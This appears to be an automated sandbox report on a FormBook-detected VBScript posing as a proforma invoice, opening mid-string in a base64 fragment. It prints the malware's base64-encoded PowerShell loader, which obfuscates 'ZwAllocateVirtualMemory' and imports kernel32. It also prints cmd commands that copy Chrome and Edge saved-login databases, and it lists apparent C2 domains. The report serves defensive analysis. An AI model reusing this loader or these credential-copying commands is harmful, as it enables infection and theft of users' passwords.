AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe C:\Program Files (x86)\internet explorer\ielowutil.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBA75.tmp" "c:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP"
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe

Source: explorer.exe, 00000016.00000000.3409098550.00000000015A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.3331890216.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2895792485.00000000015A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000016.00000000.3409098550.00000000015A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.2895792485.00000000015A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.3036040501.00000000015A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000016.00000000.3409098550.00000000015A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.2895792485.00000000015A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.3036040501.00000000015A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: TProgram Manager
Source: explorer.exe, 00000016.00000000.3409098550.00000000015A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.2895792485.00000000015A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.3036040501.00000000015A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000016.00000000.2889968847.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3162376915.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3030170625.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanver}

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Scripting	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	4 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Shared Modules	1 Registry Run Keys / Startup Folder	712 Process Injection	221 Scripting	LSASS Memory	15 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	11 Command and Scripting Interpreter	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	Security Account Manager	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	5 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 PowerShell	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	15 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	712 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Unclear Proforma Invoice.vbs	5%	Virustotal		Browse
Unclear Proforma Invoice.vbs	10%	ReversingLabs	Script-WScript.Downloader.Heuristic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
30.2.firefox.exe.2f1d7970.0.unpack	100%	Avira	TR/Patched.Ren.Gen8	Download File
30.0.firefox.exe.2f1d7970.0.unpack	100%	Avira	TR/Patched.Ren.Gen8	Download File
30.0.firefox.exe.2f1d7970.1.unpack	100%	Avira	TR/Patched.Ren.Gen8	Download File
23.2.rundll32.exe.57a7970.4.unpack	100%	Avira	TR/Patched.Ren.Gen8	Download File
23.2.rundll32.exe.36008a0.1.unpack	100%	Avira	TR/Patched.Ren.Gen8	Download File

Domains

Source	Detection	Scanner	Label	Link
www.emitacademy.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://nrokq.emitacademy.com	0%	Avira URL Cloud	safe
http://zb379.emitacademy.com	0%	Avira URL Cloud	safe
http://klmy8.emitacademy.com	0%	Avira URL Cloud	safe
http://www.mojawapo.com/tuid/?m4bd=WEOQpGNSR38PhgWGQI/4C8NMlFMwGI3qKGQVHk5AxuPmXhsKWgjXW9kcijjoxdm/j8Qu&APPTx=9r9PSR	0%	Avira URL Cloud	safe
